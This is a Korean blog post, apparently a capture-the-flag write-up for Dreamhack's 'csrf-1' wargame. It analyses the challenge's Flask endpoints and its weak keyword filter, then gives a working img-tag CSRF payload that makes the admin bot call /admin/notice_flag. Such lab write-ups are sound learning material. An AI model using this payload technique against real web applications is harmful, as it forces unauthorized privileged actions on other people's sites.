CTF & Wargame(WEB)

[dreamhack] level 1 csrf-1

KWAKBUMJUN 2025. 4. 13. 02:20

엔드포인트 분석

/vuln

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

유저가 입력한 param 값을 소문자로 바꿔서 param 변수에 저자함. frame, script, on을 필터링하고 해당 키워드들을 *로 변환함.

 

/memo

@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", None)
    if text:
        memo_text += text
    return render_template("memo.html", memo=memo_text)

사용자가 입력한 값을 text 변수에 저장한다. 그리고 만약 text가 있다면 memo_text에 text를 저장한다.

render_template 함수를 통해 memo.html을 띄워주고, memo에 memo_text를 저장.

 

/admin/notice_flag

@app.route("/admin/notice_flag")
def admin_notice_flag():
    global memo_text
    if request.remote_addr != "127.0.0.1":
        return "Access Denied"
    if request.args.get("userid", "") != "admin":
        return "Access Denied 2"
    memo_text += f"[Notice] flag is {FLAG}\n"
    return "Ok"

만약 request.remote_addr의 값이 127.0.0.1이 아니라면 Access Denied라는 값을 반환함.

만약 userid가 admin이 아니라면 Access Denied 2라는 값을 반환함.

위의 조건에 모두 해당되지 않으면 memo_text에 flag를 출력해줌.

 

/flag

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        print(str(e))
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        if not check_csrf(param):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

 

flag.html을 화면에 띄워줌.

param의 값을 param 변수에 저장. 만약 check_csrf값이 false라면 wrong출력

 

check_csrf 함수는 param과 cookie를 파라미터로 함. 그리고 read_url 함수를 사용하여 url로 이동.

 

취약점 분석

/vuln 페이지에서는 frame, on, script 이 3가지 키워드만 필터링 한다. 하지만 이것들 외에 다른 키워드들을 사용하면 쉽게 csrf 공격을 수행할수 있다.

 

익스플로잇

<img src="/admin/notice_flag?userid=admin" />

 

위의 페이로드를 /flag 파일에 적고 보내면 로컬 호스트에서 http://127.0.0.1:8000/vuln?param=<img src="/admin/notice_flag?userid=admin" />에 접속하게 된다. 이렇게 된다면 userid가 admin이고 로컬호스트로 접속했기 때문에 flag를 획득할수 있다.

 

 

'CTF & Wargame(WEB)' 카테고리의 다른 글

[dreamhack] level 1 simple_sqli  (0) 2025.04.13
[dreamhack] level 1 csrf-2  (0) 2025.04.13
[dreamhack] level 1 xss-2  (0) 2025.04.12
[dreamhack] level 1 xss-1  (0) 2025.04.12
웹해킹 블로그  (0) 2025.04.03